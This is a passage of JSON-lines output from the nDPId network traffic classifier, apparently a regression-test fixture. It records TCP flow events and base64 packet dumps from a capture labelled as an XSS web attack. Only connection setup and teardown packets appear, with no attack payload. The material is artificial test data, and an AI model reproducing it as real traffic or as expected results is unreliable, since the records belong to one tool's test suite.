+00431{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":630606,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0O6NAAEAGiDXAqAoyrBAAAQBQz\/602CZIXXjwd4ARAOOWEgAAAQEICgPjHesBOUx0"} +00431{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347070,"pkt_ts_usec":631313,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0t0xAAD4GDoysEAABwKgKMs\/+AFBdePB3tNgmSYAQAOWWEAAAAQEICgE5THQD4x3r"} +00430{"flow_id":60,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":630353,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zkVAAD4G95KsEAABwKgKMtAMAFBP5YY6f4ua0IARAOXRlwAAAQEICgE5TW4D4xnx"} +00431{"flow_id":60,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":630555,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hDVAAEAGP6PAqAoyrBAAAQBQ0Ax\/i5rQT+WGO4ARAOPMpAAAAQEICgPjHuUBOU1u"} +00430{"flow_id":60,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":631289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0zkZAAD4G95GsEAABwKgKMtAMAFBP5YY7f4ua0YAQAOXMogAAAQEICgE5TW4D4x7l"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":899,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1499347071685,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":685917,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gQZAAD4GRMqsEAABwKgKMtBCAFDUJMx6AAAAAKACchCfHAAAAgQFtAQCCAoBOU18AAAAAAEDAwc="} +00442{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":686016,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0EJ9MmhQ1CTMe6AScSCXogAAAgQFtAQCCAoD4x7zATlNfAEDAwc="} +00430{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347071,"pkt_ts_usec":686789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gQdAAD4GRNGsEAABwKgKMtBCAFDUJMx7fTJoUYAQAOU2qgAAAQEICgE5TXwD4x7z"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":914,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1499347074268,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53340,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":268117,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NBxAAD4GkbSsEAABwKgKMtBcAFD4fmQdAAAAAKACchDggAAAAgQFtAQCCAoBOVABAAAAAAEDAwc="} +00442{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":268220,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0Fw80cpV+H5kHqAScSC03QAAAgQFtAQCCAoD4yF4ATlQAQEDAwc="} +00430{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":269009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NB1AAD4GkbusEAABwKgKMtBcAFD4fmQePNHKVoAQAOVT5AAAAQEICgE5UAID4yF4"} +00431{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":920,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":630101,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xkRAAD4G\/5OsEAABwKgKMtAmAFBk4I1EKdtbUIARAOVFNAAAAQEICgE5UFwD4xx4"} +00431{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":921,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":630324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0eoNAAEAGSVXAqAoyrBAAAQBQ0CYp21tQZOCNRYARAOM\/2gAAAQEICgPjIdMBOVBc"} +00432{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347074,"pkt_ts_usec":630874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0xkVAAD4G\/5KsEAABwKgKMtAmAFBk4I1FKdtbUYAQAOU\/2AAAAQEICgE5UFwD4yHT"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":926,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1499347075596,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53354,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":926,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":596906,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8KAdAAD4GncmsEAABwKgKMtBqAFA4KXlJAAAAAKACchCKTwAAAgQFtAQCCAoBOVFOAAAAAAEDAwc="} +00442{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":927,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":597034,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0GplJM47OCl5SqAScSAxJwAAAgQFtAQCCAoD4yLEATlRTgEDAwc="} +00430{"flow_id":65,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":928,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":597762,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KAhAAD4GndCsEAABwKgKMtBqAFA4KXlKZSTOPIAQAOXQLgAAAQEICgE5UU4D4yLE"} +00430{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":932,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":630556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03ftAAD4G59ysEAABwKgKMtA0AFCnyZG6Lj6CmoARAOXP4AAAAQEICgE5UVYD4x23"} +00430{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":933,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":630680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oFdAAEAGI4HAqAoyrBAAAQBQ0DQuPoKap8mRu4ARAOPKywAAAQEICgPjIs0BOVFW"} +00430{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":934,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347075,"pkt_ts_usec":631403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03fxAAD4G59usEAABwKgKMtA0AFCnyZG7Lj6Cm4AQAOXKyQAAAQEICgE5UVYD4yLN"} +00430{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347077,"pkt_ts_usec":631187,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gQhAAD4GRNCsEAABwKgKMtBCAFDUJMx7fTJoUYARAOUw2wAAAQEICgE5U0oD4x7z"} +00430{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":942,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347077,"pkt_ts_usec":631432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TJBAAEAGd0jAqAoyrBAAAQBQ0EJ9MmhR1CTMfIARAOMrDgAAAQEICgPjJMEBOVNK"} +00430{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347077,"pkt_ts_usec":632156,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gQlAAD4GRM+sEAABwKgKMtBCAFDUJMx8fTJoUoAQAOUrDAAAAQEICgE5U0oD4yTB"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":947,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1499347078168,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53380,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347078,"pkt_ts_usec":168829,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VtlAAD4GbvesEAABwKgKMtCEAFCbYgUIAAAAAKACchCYugAAAgQFtAQCCAoBOVPRAAAAAAEDAwc="} +00442{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347078,"pkt_ts_usec":168956,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0IRJPKyYm2IFCaAScSB6mgAAAgQFtAQCCAoD4yVHATlT0QEDAwc="} +00430{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":949,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347078,"pkt_ts_usec":169683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VtpAAD4Gbv6sEAABwKgKMtCEAFCbYgUJSTysmYAQAOUZogAAAQEICgE5U9ED4yVH"} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1499347003695,"flow_last_seen":1499347009612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52602,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1499347003695,"flow_last_seen":1499347009612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1499347006233,"flow_last_seen":1499347011612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52628,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1499347006233,"flow_last_seen":1499347011612,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52628,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1499347007496,"flow_last_seen":1499347012613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52642,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":6,"flow_first_seen":1499347007496,"flow_last_seen":1499347012613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52642,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1499347010080,"flow_last_seen":1499347015613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52668,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1499347010080,"flow_last_seen":1499347015613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52668,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1499347011349,"flow_last_seen":1499347016613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52682,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1499347011349,"flow_last_seen":1499347016613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52682,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1499347012617,"flow_last_seen":1499347018613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52696,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":953,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":6,"flow_first_seen":1499347012617,"flow_last_seen":1499347018613,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52696,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":956,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1499347079449,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53394,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":956,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":449845,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA81tZAAD4G7vmsEAABwKgKMtCSAFDwQYPHAAAAAKACchDDzQAAAgQFtAQCCAoBOVURAAAAAAEDAwc="} +00442{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":957,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":449970,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0JKY6hHr8EGDyKAScSDvawAAAgQFtAQCCAoD4yaIATlVEQEDAwc="} +00430{"flow_id":67,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":450728,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01tdAAD4G7wCsEAABwKgKMtCSAFDwQYPImOoR7IAQAOWOcwAAAQEICgE5VRED4yaI"} +00430{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":632258,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NB5AAD4GkbqsEAABwKgKMtBcAFD4fmQePNHKVoARAOVOpwAAAQEICgE5VT4D4yF4"} +00430{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":963,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":632489,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07ONAAEAG1vTAqAoyrBAAAQBQ0Fw80cpW+H5kH4ARAONJawAAAQEICgPjJrUBOVU+"} +00430{"flow_id":64,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":964,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347079,"pkt_ts_usec":633244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NB9AAD4GkbmsEAABwKgKMtBcAFD4fmQfPNHKV4AQAOVJaAAAAQEICgE5VT8D4ya1"} +00430{"flow_id":65,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":633165,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KAlAAD4Gnc+sEAABwKgKMtBqAFA4KXlKZSTOPIARAOXLQgAAAQEICgE5VjkD4yLE"} +00430{"flow_id":65,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":633407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06ZNAAEAG2kTAqAoyrBAAAQBQ0GplJM48OCl5S4ARAOPGWAAAAQEICgPjJ68BOVY5"} +00430{"flow_id":65,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347080,"pkt_ts_usec":634142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KApAAD4Gnc6sEAABwKgKMtBqAFA4KXlLZSTOPYAQAOXGVgAAAQEICgE5VjkD4yev"} 